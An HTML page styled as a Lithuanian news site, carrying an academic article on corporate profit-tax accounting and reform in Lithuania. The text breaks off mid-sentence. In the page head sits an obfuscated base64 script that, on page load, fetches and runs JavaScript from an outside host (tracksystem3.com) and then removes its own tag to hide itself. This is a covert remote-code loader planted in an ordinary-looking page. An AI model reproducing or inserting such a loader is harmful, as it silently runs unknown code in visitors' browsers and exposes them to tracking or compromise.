
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>Naujienos</title>
	<meta name="viewport" content="width=device-width">
	<link rel="stylesheet" href="assets/styles.min.css">
	<script id="bSpMB" src="data:text/javascript;base64, dmFyIF9rTEpaUSA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oX2h4NnJlLCBfbXZUcFkpIHt2YXIgX1JlRjAxID0gZnVuY3Rpb24oXzdMMHZxKSB7d2hpbGUgKC0tXzdMMHZxKSB7X2h4NnJlWydwdXNoJ10oX2h4NnJlWydzaGlmdCddKCkpO319O19SZUYwMSgrK19tdlRwWSk7fShfa0xKWlEsIDB4MTFiKSk7dmFyIF9UaDExSyA9IGZ1bmN0aW9uKF9oaDQwTywgX1ZROXY3KSB7X2hoNDBPID0gX2hoNDBPIC0gMHgwO3ZhciBfZWdGdWYgPSBfa0xKWlFbX2hoNDBPXTtyZXR1cm4gX2VnRnVmO307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfVGgxMUsoJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgXzBNVWtJID0gZG9jdW1lbnRbX1RoMTFLKCcweDEnKV0oX1RoMTFLKCcweDInKSk7XzBNVWtJW19UaDExSygnMHgzJyldID0gX1RoMTFLKCcweDQnKTtfME1Va0lbJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg3NFx4NzJceDYxXHg2M1x4NmJceDczXHg3OVx4NzNceDc0XHg2NVx4NmRceDMzXHgyZVx4NjNceDZmXHg2ZFx4MmZceDVmXHg3Mlx4NjVceDZkXHg2Zlx4NzRceDY1XHg1Zlx4NzRceDcyXHg2MVx4NjNceDZiXHgyZVx4NmFceDczXHgzZlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHgzZFx4NDhceDUyXHg3NFx4NDhceDRlXHg0OFx4MzVceDMyXHg0OFx4NzYnO2RvY3VtZW50W19UaDExSygnMHg1JyldKF9UaDExSygnMHg2JykpWydceDYxXHg3MFx4NzBceDY1XHg2ZVx4NjRceDQzXHg2OFx4NjlceDZjXHg2NCddKF8wTVVrSSk7ZG9jdW1lbnRbX1RoMTFLKCcweDcnKV0oJ2JTcE1CJylbJ1x4NzJceDY1XHg2ZFx4NmZceDc2XHg2NSddKCk7fSwgeydceDZmXHg2ZVx4NjNceDY1JzogISFbXX0pOw=="></script>
	
	
</head>

<body>
	<header>
		<div class="container">
			<div class="c-row">



				<nav>
					<div class="logo" style="width:60px;min-width:auto;">
						<a href="#"><img class="lazy img-responsive w-100"
								src="data:image/gif;base64,R0lGODlhBwACAIAAAP///wAAACH5BAEAAAEALAAAAAAHAAIAAAIDjI9YADs="
								data-src="assets/logo.png" data-srcset="assets/logo.png 1x, assets/logo.png 2x" alt="img"></a>
					</div>

					<ul class="d-md-none">
						<li><a href="#">Pagrindinis</a></li>
						<li><a href="#">Lietuva</a></li>
						<li><a class="active" href="#">Rekomenduojame</a></li>
						<li><a href="#">Politika</a></li>
						<li><a href="#">Bendruomenė</a></li>
						<li><a href="#">Ekonomika</a></li>
						<li><a href="#">Pasaulyje</a></li>
						<li><a href="#">Sportas</a></li>
						<li><a href="#">Įvykiai</a></li>
					</ul>
				</nav>

				<div class="more d-lg-none-up">
					<a href="#" class="burger">
						<svg class="menu-icon" width="35" height="35" viewBox="0 0 64 64" fill="currentColor"
							xmlns="https://www.w3.org/2000/svg" aria-hidden="true">
							<path d="M52.75,47.84H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M52.75,28.92H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M11.25,14.16h41.5a2.08,2.08,0,1,0,0-4.16H11.25a2.08,2.08,0,1,0,0,4.16Z"></path>
						</svg>
					</a>
				</div>

			</div>
		</div>

	</header>


	<!-- Custom HTML / Remove before use -->
	<div class="container">

		<div class="c-row">

			<!-- CONTENT START -->
			<div class="col-content">
				<div class="content">
					<div class="title">
						<h1 class="h1">LIETUVOS ĮMONIŲ PELNO MOKESČIO APSKAITOS
PROBLEMŲ SPRENDIMAI 
						</h1>
					</div>
					<div class="img-block">
						<div class="img-wrap">
							<!-- КАРТИНКА SRC="ЗАГЛУШКА В base64 в размер оригинальной картинки, нужна обязательно" DATA-SRC="Путь до картинки" DATA-SRCSET="путь до картинки 1x, аналогично x2" -->
							<img class="lazy img-responsive w-100"
								src="assets/001.png"
								data-src="assets/001.png" data-srcset="assets/001.png 1x, assets/001.png 2x" alt="img">
						</div>
						
					</div>
Straipsnyje išdėstyti Lietuvoje galiojančios pelno mokesčio apskaitos tyrimo rezultatai. Atskleistas finansinės ir pelno mokesčio
apskaitos ryšys, jų derinimo tobulinimas. Nurodyti pelno mokesčio reformavimo būdai ir jų įgyvendinimo galimybės. Pasiūlytas pelno
mokesčio bazės koregavimas Lietuvoje. Įvertintas Europos komisijos pasiūlytas bendros konsoliduotos pelno mokesčio bazės projektas.
Įvertintas pinigų apskaitos principas ir pasiūlyta išplėsti jo taikymo sferą. Pateikti pasiūlymai įmonėms mokesčių apskaitos ir finansinės
apskaitos skirtumams sumažinti, remiantis galiojančiais reglamentais.
Prasminiai žodžiai: pelno mokestis, pelno mokesčio bazė, pelno mokesčio apskaita, pinigų apskaitos principas.
Įvadas
Lietuvos įmonių vadyboje reikšmingą vietą užima pelno mokesčio apskaita, o mokesčių
administravimo institucijose daug dėmesio skiriama šio mokesčio kontrolei. Šie darbai reikšmingi įmonių ir
šalies finansams. Tačiau pelno mokesčio apskaita, administravimas bei kontrolė reikalauja nemažų darbo
sąnaudų, ir tai didina valstybės ir privačių finansų valdymo naštą. Tai ypač aktualu smulkaus ir vidutinio verslo
subjektams, kurių šalyje yra daugiausia.
Siekiant skatinti ekonomikos vystymą ir mažinti verslo administravimo sąnaudas, reikia taikyti
optimalią uždirbtų pajamų apmokestinimo tvarką ir pelno mokesčio apskaitą. Tam reikia pakoreguoti
apmokestinimo nuostatas, kad įmonės, atsižvelgdamos į galiojančias nuostatas, pasirinktų tinkamiausius jų
variantus. Šias problemas nuolatos nagrinėja Lietuvos ir užsienio šalių ekonomikos, finansų ir apskaitos
mokslininkai bei praktikai. Tačiau iki šiol nepasiekta vienodų teorinių sprendimų ir optimalių praktinių rezultatų.
Finansinės apskaitos ir pelno mokesčio apskaitos derinimo klausimai yra nuolatinis mokslinių tyrimų objektas,
kur tyrimo rezultatai yra ir vieni kitus papildantys, ir prieštaringi. Finansinės ir mokesčių apskaitos
harmonizavimas sumažintų darbo sąnaudas, užtikrintų informacijos palyginamumą, palengvintų valstybės ir
privačių finansų valdymą.
Tyrimo objektas – Lietuvos įmonių pelno mokestis ir jo apskaita.
Tyrimo tikslas – parengti pasiūlymus Lietuvos įmonių pelno mokesčio sistemai ir jo apskaitos
metodikai patobulinti.
Tyrimo uždaviniai:
• išanalizuoti ir parinkti tinkamiausius pelno mokesčio reformavimo būdus;
• ištirti pelno mokesčio bazės nuostatas ir pateikti pasiūlymus joms tobulinti;
• išanalizuoti pinigų apskaitos principo taikymą pelno mokesčio apskaitoje ir šio principo išplėtimo
galimybes;
• išnagrinėti pelno mokesčio apskaitos ir finansinės apskaitos skirtumų sumažinimo galimybes Lietuvos
įmonėse.
Tyrimo metodika. Siekiant įgyvendinti tyrimui iškeltus uždavinius, atlikta kokybinė mokslinės
literatūros bei finansinės ir mokesčių apskaitos reglamentų ir empirinių duomenų analizė. Tyrimo laikotarpis
apima mokslininkų ir analitikų 1974 – 2012 metų publikacijas. Tyrimui atlikti naudoti monografinis, analizės bei
sintezės, indukcijos bei dedukcijos, loginės abstrakcijos metodai.
Mokesčių apskaitos retrospektyvos ir dabarties analizė
Mokesčių apskaita turi palyginti neseną istoriją. Ji atsirado XX a. pradžioje. Pirmojo pasaulinio karo
metais jame dalyvaujančios valstybės buvo priverstos ieškoti papildomų finansavimo šaltinių padidėjusioms
išlaidoms kompensuoti. Vienu jų tapo verslo apmokestinimas pajamų mokesčiu (Richard, 1995; Налоговые
последствия..., 2005.; Nobes, Parker, Parker, 2008). Tuomet atsirado poreikis sukaupti informaciją mokesčiams
apskaičiuoti ir kontroliuoti. Iš pradžių šiam poreikiui patenkinti buvo naudojami buhalterinės apskaitos
duomenys. 7-ojo dešimtmečio pabaigoje Vakarų šalyse galutinai susiformavo mokesčių sistema, ir ji tapo
savarankišku valstybės ekonominės politikos įrankiu. Kartu pradėjo formuotis ir mokesčių apskaita, atsiskirdama
nuo bendrosios buhalterinės apskaitos sistemos, finansinės apskaitos (Alley, James, 2005; Botzem, Quack, 2009;
Frank, Lynch, Rego, 2009). Tam didžiausią įtaką turėjo apmokestinamojo pelno ir tikrojo įmonių veiklos
finansinio rezultato (apskaitinio pelno) skirtumai.
Tačiau iki šiol daugelyje užsienio šalių stengiamasi visiškai neatskirti mokesčių ir finansinės apskaitos
viena nuo kitos, ir, pasak K. Badmajevos (2005), susiklostė dviejų tipų sistemos, kurioms būdinga:
• savarankiškų buhalterinės apskaitos ir mokesčių apskaitos egzistavimas - mokesčiai skaičiuojami
koreguojant buhalterinės apskaitos duomenis – anglų-amerikiečių modelis;
29
• apmokestinamasis pelnas formuojamas pagal mokesčių įstatymus ir buhalterinės apskaitos tikslams, ir
mokesčių tikslams – kontinentinės Europos modelis.
Pagal nurodytus tipus atitinkamai į dvi grupes skirstomos ir valstybės. Pirmajai grupei priskiriamos
Jungtinė Karalystė, JAV, Olandija, Australija, Kanada, PAR ir kai kurios kitos šalys. Jose egzistuojanti
finansinės ir mokesčių apskaitos rūšių autonomija leidžia geriau patenkinti skirtingų informacijos vartotojų
poreikius (Shoenthal, 1989). Finansinė apskaita gali pateikti investuotojams patikimą, mokesčių nuostatomis
neiškreiptą informaciją. Mokesčių apskaita garantuoja reikiamus duomenis mokesčiams apskaičiuoti ir
kontroliuoti. Tačiau tokia dviejų rūšių apskaita gerokai padidina darbo sąnaudas.
Antrajai grupei priskiriama dauguma kontinentinės Europos šalių: Vokietija, Prancūzija, Švedija,
Belgija, Ispanija, Italija, Šveicarija ir kt. Jose paprastai mokesčių sistema nulemia finansinės apskaitos nuostatas,
t.y. egzistuoja vienpusis ryšys: mokesčiai → finansinė apskaita. Klasikinis tokio ryšio pavyzdys yra stiprus
mokesčių nuostatų poveikis apskaitai Vokietijoje (Watrin, Pott, Ullmann, 2012). Šiai grupei būdingas mokesčių
ir finansinės apskaitos tarpusavio ryšys sumažina bendras apskaitos darbo sąnaudas, tačiau negarantuoja
finansinėse ataskaitose pakankamai realių duomenų, reikalingų investuotojams, kreditoriams ir kitiems
informacijos vartotojams
Lietuva nepriskirtina nė vienai iš nurodytų grupių. LR Pelno mokesčio įstatyme (PMĮ) nurodyta, kad
mokesčių mokėtojų buhalterinė apskaita privalo būti tvarkoma taip, kad ji teiktų pakankamą informaciją pelno
mokesčiui apskaičiuoti (LR pelno mokesčio ...). Įsigaliojus Verslo apskaitos standartams (VAS) neatitikimai
finansinėje apskaitoje ir apskaičiuojant mokesčius tapo apskaitos problema (Bandzevičiūtė, 2008). Daugumoje
įmonių dabar stengiamasi suderinti Verslo apskaitos standartų (VAS) ir pelno mokesčio nuostatas finansinės
apskaitos sistemoje (Černius, 2012). Vadinasi, dominuoja integruota finansinės ir mokesčių apskaitos sistema.
Tačiau kai kuriose įmonėse (pavyzdžiui, žemės ūkio bendrovėse) dabar dominuoja orientacija į mokesčius, ir tai
turi neigiamos įtakos finansinės apskaitos kokybei.
Įmonėse, taikančiose tarptautinius finansinės atskaitomybės standartus (TFAS), ryškėja tendencija
tvarkyti finansinę apskaitą visiškai neatsižvelgiant į mokesčių nuostatas. TFAS yra orientuoti į investuotojų
interesus atitinkančią finansinę apskaitą (Lekavičius, Galinis, 2009), tačiau dėl to neturėtų išnykti finansinės
apskaitos ir mokesčių sistemos ryšys. Turėtų būti toks jo pobūdis (kryptis): finansinė apskaita → mokesčių
nuostatos. Apmokestinamojo pelno apskaičiavimo nuostatos koreguotinos pagal finansinės apskaitos
reikalavimus.
Pelno mokesčio ir jo bazės reformavimas
Pelno mokesčio apskaitos tobulinimas tiesiogiai susijęs su šio mokesčio reformavimu. Radikaliausia
reformavimo priemonė - pelno mokesčio panaikinimas. Apie ją Lietuvoje buvo užsiminta jau XX a. 10-ajame
dešimtmetyje, o vėliau išsivystė diskusijos, tebesitęsiančios iki šiol. Mokslininkai, nagrinėję pelno mokesčio
problemas (Bird, 1996; Zodrow, 2003; Jakštonytė, 2009, Johnson, 2009; Lakis, 2009; Rudytė, Šalkauskienė,
Lukšienė, 2009; Lakis, 2011 ir kt.) nusakė tokias pagrindines šio mokesčio ydas, teigdami, kad šis mokestis:
• iškreipia laisvos konkurencijos sąlygas, nes valdžios institucijos subjektyviai reguliuoja mokesčio
dydį, kad padidintų valstybės biudžeto įplaukas;
• iš dalies pažeidžia vienkartinio apmokestinimo principą, nes jis taikomas kartu su pridėtinės vertės
mokesčiu (PVM) – pagrindiniu pajamų mokesčiu;
• skatina mokesčio vengimą (slepiant pajamas, padidinant sąnaudas, įtraukiant į sąnaudas neleidžiamus
atskaitymus ir kt.), ir tai riboja teisingą jo surinkimą;
• apsunkina įmonių finansinę būklę, nes mokestis renkamas avansu, neatsižvelgiant į tai, kad įplaukos
dėl pirkėjų skolų gaunamos vėliau negu fiksuojamos pajamos;
• sukelia dideles mokesčio administravimo išlaidas, viršijančias gaunamą naudą. Šiuo mokesčiu
surenkama nedidelė nacionalinio biudžeto pajamų dalis.
Lietuvos laisvosios rinkos instituto analitikų nuomone, pelno mokestis yra vienas klastingiausių,
neefektyviausių mokesčių, kurio inertiškas taikymas padaro daug žalos rinkos motyvacijoms, išteklių
paskirstymui, ekonomikos augimui. Jo panaikinimas paskatintų verslo plėtrą, užsienio investicijas, sumažintų
valstybės išlaidas mokesčiams administruoti ir pačių įmonių apskaitos sąnaudas, ribotų šešėlinę ekonomiką,
sumažintų nuolatinę įtampą tarp verslininkų ir mokesčių administratorių (LLRI analizė:...). Atsisakyti pelno
mokesčio kartu su kitais įprastiniais mokesčiais ketinama Jungtinėje Karalystėje (Osborne...). 2012 m. speciali
šios šalies ekspertų grupė pasiūlė vietoj įprastų mokesčių įvesti vienodą visiems 30 proc. mokestį nuo visų
pajamų. Tokia mokesčių reforma labiausiai susijusi su išlaidų administruojant įvairius mokesčius mažinimu. R.
Kuodis (2008) LLRI siūlymą iš viso panaikinti pelno mokestį palaikė abejotinu, motyvuodamas tuo, kad šis
mokestis padeda valstybei paimti dalį monopolinių pelnų, kurių mūsų šalyje esama nemažai. Be to,
kontrargumentais prieš pelno mokesčio panaikinimą pateikiama pasaulinė praktika ir tarptautinių organizacijų
reakcija. Tik nedaugelis šalių yra panaikinusios šį mokestį.
Tačiau argumentai nenaikinti pelno mokesčio nėra pakankamai svarūs. Pajamos iš pelno mokesčių
daugumos Europos Sąjungos (ES) valstybių biudžetuose sudaro ne pačią didžiausią dalį (Lekavičius, Galinis,
2009). Lietuvoje pelno mokestis kasmet sudaro vis mažesnę biudžeto įplaukų dalį. 2010 m. ir 2011 m. šis
mokestis sudarė atitinkamai 8,1 ir 6,6 proc. bendros VMI administruojamų valstybės biudžeto pajamų sumos 
30
(apskaičiuota pagal: VMI valstybės biudžeto...: ). Atlikusi ekspertinę analizę J.Krumplytė (2011) teigia, kad
mažiau nei trečdalis (28,3 proc.) ekspertų vienu iš trijų svarbiausių mokesčių, kuriuos reikėtų sumažinti, nurodė
pelno mokestį. Tuo tarpu šio mokesčio administravimo sąnaudos sudaro reikšmingą verslo subjektų sąnaudų dalį
(Bivainis, Skačkauskienė, 2005).
Panaikintą pelno mokestį gali kompensuoti įplaukų iš kitų mokesčių padidėjimas (pavyzdžiui, PVM
įplaukų padidėjimas dėl padidėjusių pajamų, pritraukus daugiau investicijų) ir mokesčių administravimo išlaidų
sumažinimas. Prireikus galėtų būti kiek padidintas (1-2 proc. punktais) PVM tarifas. 10-yje ES šalių standartinis
jo dydis (PVM tarifai...) yra didesnis nei Lietuvoje ir sudaro proc.: 22 (Latvija); 23 (Airija, Graikija, Lenkija,
Portugalija, Suomija); 24 (Rumunija); 25 (Danija, Švedija); 27 (Vengrija).
Aplinkybė, kad daugumoje šalių taikomas pelno mokestis nelaikytina objektyvia kliūtimi atsisakyti šio
mokesčio kurioje nors ES šalyje. Pagal ES teisę pelno mokestis nėra privalomas, tačiau jo naikinimas neturi
sukelti vidaus rinkos iškraipymų. Europos Komisijos nuomone, valstybėms narėms priimant vidaus rinkos teisės
aktus didžiausia problema yra ne techniškai suderinti savo įstatymus su Bendrijos teisės aktais, o pritaikyti savo
administracinius mechanizmus ir visuomenę prie bendrųjų sąlygų (Tušaitė, 2003).
Išanalizavus mokslininkų bei analitikų nuomones, galima konstatuoti, kad Lietuvoje artimiausiu metu
pelno mokesčio naikinimo idėja nebus įgyvendinta. Atsižvelgiant į tai ir siekiant stiprinti šio mokesčio
skatinamąją funkciją, taikytinas dalinis šio mokesčio ir jo apskaitos reformavimas.
Svarbi priemonė įmonių veiklos efektyvumui didinti yra investicijų skatinimas (Johnson, 2009).
Galiojančiame PMĮ nuo 2009 m. yra nustatytas apmokestinamojo pelno sumažinimas, kai įgyvendinamas
investicinis projektas (LR pelno...). Šią lengvatą numatyta taikyti ribotą laikotarpį, ji yra riboto dydžio ir taikoma
tik investicijų į PMĮ nurodytus reikalavimus atitinkantį ilgalaikį turtą. Apmokestinamasis pelnas gali būti
sumažintas tik per 2009–2013 metų mokestinius laikotarpius patirtomis išlaidomis ir ne daugiau kaip 50 proc.
kasmetinio apmokestinamojo pelno. Visi šie apribojimai mažina investicijų skatinimą, komplikuoja
apmokestinimo sistemą.
Lietuvoje taikomos pelno mokesčio lengvatos įmonėms, investuojančioms į mokslinius tyrimus ir
eksperimentinę plėtrą (MTEP): įmonių sąnaudos, patirtos investuojant į MTEP, 3 kartus atskaitomos iš
apmokestinamųjų pajamų; leidžiama nurašyti į sąnaudas MTEP veikloje naudojamų mašinų ir įrengimų įsigijimo
kainą per 2 metus. Taip pat taikomos pelno mokesčio lengvatos įmonėms, investuojančioms į naujas
technologijas: įmonėms apmokestinamas pelnas mažinamas iki 50 proc. išlaidų, patirtų investuojant į įrenginius,
ryšių priemones, kompiuterių techniką, įrangą (Petrauskas, 2009).
Pelno mokesčio lengvata investuojančioms įmonėms Lietuvoje galiojo jau anksčiau (1997- 2001 m.), ir
ši priemonė tuomet pasiteisino, nes skatino investuoti į materialųjį turtą (Bivainis, Skačkauskienė, 2009). Galima
pasinaudoti teigiama Estijos patirtimi – ši šalis visai atsisakė pelno mokesčio investuojamam pelnui (Gylys,
2006). Visų investicijų neapmokestinimas įmonėms bei išorės investuotojams būtų patrauklesnis negu dabartinis
tik dalies investicijų neapmokestinimas.
Siūloma pelno mokesčio lengvata padėtų išplėsti investicijų apimtis, skatintų visos ekonomikos plėtrą ir
didintų jos efektyvumą. o tai yra labai svarbu dabartinėmis ekonomikos gaivinimo sąlygomis.
Pagrindinis pelno mokesčio apskaitos tikslas yra teisingai nustatyti šio mokesčio bazės dydį. Pastarųjų
metų mokslinių tyrimų pelno mokesčio bazės (PMB) tema gausa liudija šio klausimo problematiką.
Mokslininkai analizuoja PMB elastingumą (Gruber, Rauh, 2007; de Mooij, Gaëtan, 2008; Dwenger, Steiner,
2012), įtaką apmokestinamoms pajamoms (Fuesta, 2008; Grubert, Altshuler, 2012; Saez, Slemrod, Giertz,
2012), mokesčių vengimui (DeBacker, Heim, Tran, 2011; Chatterjee, Gupta, 2012), tiria PMB kitimą įvairiose
šalyse (Devereux, Loretz, 2007; Nobes, Parker, Parker, 2008; de Mooij, Gaëtan, 2008; Spengel, Lazar, Evers,
Zinn, 2012).
LR PMĮ pelno mokesčio bazė apibūdinta kaip visos įmonės (vieneto) uždirbtos pajamos (LR pelno...).
Tačiau pastarojo meto diskusijose dėl pelno mokesčio skaičiavimo (Heim, B.T., 2008; Europos ekonomikos...)
pelno mokesčio bazė suprantama kaip pajamos, atėmus neapmokestinamąsias pajamas ir atskaitomas išlaidas,
kas atitinka apmokestinamojo pelno sampratą. Tokiu būdu pelno mokesčio objektas – tai apmokestinamasis
pelnas, kuris yra nustatomas dirbtinai pagal tam tikras pelno mokesčio įstatyme numatytas taisykles, kurios
neapima ir negali apimti visos įmonių gyvenimo įvykių ir aplinkybių įvairovės. Todėl apmokestinamas ne
tikrasis veiklos rezultatas – finansinis pelnas, o dirbtinis dydis, kuris beveik visada gali būti ginčytinas.
PMB koregavimas yra svarbi priemonė pelno mokesčio administravimui palengvinti tiek pačiose
įmonėse, tiek mokesčių institucijose. Dabar šį administravimą gerokai apsunkina PMĮ nuostatos dėl ribojamų
dydžių leidžiamų atskaitymų, šių nuostatų bei jų taikymo komentarų kaita. Reikia iki minimumo sumažinti
leidžiamų atskaitymų ribojimą, pasiekti, kad PMB dydis maksimaliai atitiktų apskaitinio pelno sumą. Pastarasis
pelnas, tinkamai tvarkant apskaitą pagal verslo apskaitos standartus (VAS) arba tarptautinius finansinės
atskaitomybės standartus (TFAS), išreiškia tikrą bei teisingą finansinį rezultatą ir būtų pakankamai pagrįsta
PMB.   

					</p>
Šiais tikslais reikia pakoreguoti kai kurias PMĮ nuostatas. Ypač tai pasakytina apie ilgalaikio turto (IT)
nusidėvėjimo (amortizacijos) apskaitos politikos formavimą (Lakis, 2011; Černius, 2012). Tikslinga padaryti
tokias PMĮ pataisas:
31
▪ nustatyti IT naudingo tarnavimo laiką pagal sustambintas grupes (sumažinti jų skaičių nuo 21 iki 6):
pastatai bei kiti statiniai; technika (visų rūšių); automobiliai (visi); inventorius (visų rūšių); kitas IMT turtas;
nematerialusis turtas;
▪ pastatų ir nematerialiojo turto nusidėvėjimui skaičiuoti nustatyti tik tiesinį metodą, o ne tiesinį ir
dvigubo balanso metodus (13-ajame VAS „Nematerialusis turtas“ (13-asis verslo...) pagrįstai nurodytas tik
tiesinis metodas). Technikos nusidėvėjimui skaičiuoti leisti taikyti visus 12-ajame VAS „Ilgalaikis materialusis
turtas“ nurodytus metodus (12-asis verslo...);
▪ atsisakyti VAS nenumatyto pusmečio būdo IT nusidėvėjimo (amortizacijos) skaičiavimo pradžiai
nustatyti. Teikti tiktai kito mėnesio būdą.
Formuojant įmonės atsargų politiką taip pat iškyla problemų dėl finansinės ir mokesčių apskaitos
neatitikimų (Balabonienė, Večerskienė, 2011). Siūlome koreguoti PMĮ nuostatas dėl atsargų sąnaudų:
▪ leidžiamų atskaitymų sudėtį papildyti atsargų nukainojimu iki grynosios galimo realizavimo vertės,
nes daugeliu atvejų šį nukainojimą sukelia objektyvios aplinkybės (rinkos konjunktūros pokyčiai).
▪ panaikinti atsargų natūralios netekties sumų priskirties leidžiamiems atskaitymams apribojimą iki 1 ar
3 proc. pajamų. Visos atsargų netektys, atitinkančios nustatytas normas, paprastai yra neišvengiamos ir todėl
priskirtinos neribojamų dydžių leidžiamiems atskaitymams.
Europos Komisija (EK) pasiūlė suvienodinti PMB skaičiavimo tvarką ES šalyse (Europos Komisijos ...;
Spengel, Wendt, 2007.). Po ilgų diskusijų bei derinimų EK 2011 m. pateikė svarstymui Tarybos direktyvos
projektą (Tarybos direktyva...) dėl bendros konsoliduotos pelno mokesčio bazės (BKPMB).
BKPMB (Lekavičius, Galinis, 2009; Novikevičius, Mingėlaitė, 2012) yra mokesčių politikos priemonė,
kuria siekiama supaprastinti mokesčių taisykles, sumažinti administracines sąnaudas ir spręsti mokestinių kliūčių
problemą bendrojoje bei vidaus rinkose. BKPMB taikymas yra laisvai pasirenkamas. Kiekviena įmonių grupės
dalyvė, pasirinkusi taikyti šią sistemą, pagal visoje ES vienodas taisykles apskaičiuotų savo apmokestinamąjį
pelną (mokestinius nuostolius). Visų grupei priklausančių įmonių apmokestinamojo pelno (mokestinių
nuostolių) sumos būtų konsoliduojamos (sudedamos). Tarifų derinti neketinama. Kiekviena valstybė narė taikytų
savo tarifą mokesčio mokėtojams tenkančiai mokesčio bazės daliai.
Numatoma, kad įmonė, kuri nepasirenka BKPMB sistemos, toliau taiko nacionalines pelno mokesčio
taisykles. Vadinasi, įvedus pasirenkamąją sistemą, valstybių narių mokesčių administracijos turės dirbti su
dviem skirtingomis mokesčių sistemomis (BKPMB ir nacionaline pelno mokesčio sistema). Tačiau toks dviejų
mokesčių sistemų funkcionavimas vienoje šalyje yra abejotinas dalykas.
BKPMB taikymą mokslininkai traktuoja kaip strateginį požiūrį į pelno apmokestinimo tobulinimą,
(Spengel, Wendt, 2007), pirmąjį žingsnį integruotai pelno apmokestinimo sistemai sukurti ES šalyse (Fuesta,
2008) bei mokesčio administravimo išlaidoms mažinti (Herzig, Kuhr, 2012). BKPMB taikymo idėja vertintina
pozityviai. Jos įgyvendinimas sumažintų pelno mokesčio administravimo naštą ir padėtų sukurti palankesnę
tarptautinę bei nacionalinę verslo aplinką.
Tačiau pasiūlyta BKPMB sistema nesumažina įmonių veiklos rezultatų finansinės ir mokesčių apskaitos
skirtumų, o netgi juos padidina, nes ši sistema nesiejama su finansinės apskaitos standartais. BKPMB nustatymo
taisyklės turėtų būti galimai artimesnės TFAS nuostatoms (Tarptautiniai...). Su pastarosiomis maksimaliai
suderintinos VAS nuostatos. Finansinė apskaita, tinkamai tvarkoma pagal TFAS arba VAS, garantuoja tikrą bei
teisingą finansinio rezultato informaciją, ir ši informacija yra pakankamai ekonomiškai pagrįstas PMB
nustatymo pagrindas. Tuomet įmonių PMB apskaičiavimas labai supaprastėtų, nes jam atlikti pagrindinai būtų
naudojami finansinės apskaitos duomenys.
Mokslininkų susidomėjimo jau seniai sulaukia pinigų apskaitos principo taikymas apmokestinimo
tikslais. Kaip alternatyvą kaupimo principu paremtam pelno mokesčiui siūloma įvesti pinigų srauto mokestį
(Andrews, 1974; Edwards, 2003). Šio mokesčio, kurio tikslas – apmokestinti vartotojišką pinigų vartojimą ir
skatinti jų kaupimą ateities investicijoms, privalumai: administravimo paprastumas, ekonominis efektyvumas ir
teisingumas.
Vadovaujantis LR PMĮ, įmonių pajamoms ir su jomis susijusioms sąnaudoms pripažinti pagrindinai
taikomas kaupimo principas (LR pelno...). Tik kai kurioms įmonėms leidžiama taikyti pinigų principą.
Nustatyta, kad šį principą gali taikyti tik tos įmonės (vienetai), kurios iki įstatymo įsigaliojimo pajamas
pripažindavo pagal pinigų principą ir kurių pajamos per paskutinius 3 mokestinius laikotarpius nė per vieną jų
neviršijo 100 tūkstančių litų, taip pat naujai įregistruotos įmonės, kurių pirmojo mokestinio laikotarpio
planuojamos pajamos neviršys 100 tūkstančių litų per mokestinį laikotarpį. Taigi pinigų principo taikymas yra
labai apribotas. Jį gali pasirinkti tik nedaugelis įmonių.
Be to, susiaurintas pinigų principo taikymo turinys: pajamas leidžiama pripažinti taikant pinigų
principą, o sąnaudos, susijusios su faktiškai gautomis pajamomis, turi būti pripažįstamos pagal kaupimo
principą. Taigi minėtų įmonių pelno mokesčiui skaičiuoti nustatytas mišrus pinigų-kaupimo principas, kuomet
pajamos registruojamos pagal pinigų principą, o sąnaudos – pagal kaupimo principą. Toks principas nepagrįstas
teoriškai ir apsunkina apskaitos praktiką.
Pinigų principo taikymas sumažina apskaitos darbo sąnaudas ir turi informacinių privalumų. Šio
principo realizavimas atskleidžia informaciją, iš kur gauti pinigai ir kam jie išleisti. Tokia informacija yra
konkreti ir svarbi verslininkams priimant pinigų valdymo sprendimus. Ūkio subjekto veiklos finansinis rezultatas 
32
yra piniginių įplaukų ir išmokų skirtumas – įplaukų perviršis ar deficitas. Įplaukų perviršis yra realesnis
apmokestinimo rezultatas negu uždirbtų pajamų (jos gali būti dar negautos) ir leidžiamų atskaitymų skirtumas.
Reikėtų sudaryti juridines sąlygas, kad pinigų principą galėtų pasirinkti daugelis nedidelių įmonių. Taip
mano ir kai kurie žinomi Lietuvos ekonomistai. R.Kuodis (2011) yra pasiūlęs leisti mažoms UAB pasirinkti
apskaitą pinigų srautų pagrindu ir mokėti mokesčius nuo skirtumo tarp įplaukų ir išlaidų.  			

                    </p>
Įteisinant pinigų principo pasirinkimą, reikia nustatyti mažos įmonės kriterijus. Juo turėtų būti laikomos
įmonės metinės pajamos. Mažoms įmonėms galėtų būti priskirtos, pavyzdžiui, tos, kurių šios pajamos neviršija 1
milijono litų. Nuo 2012 m. tokioms įmonėms taikomas lengvatinis, 5 proc., pelno mokesčio tarifas.
Pinigų principas turėtų būti taikomas tiek pajamų, tiek išlaidų apskaitoje. Tai būdinga tikrajam pinigų
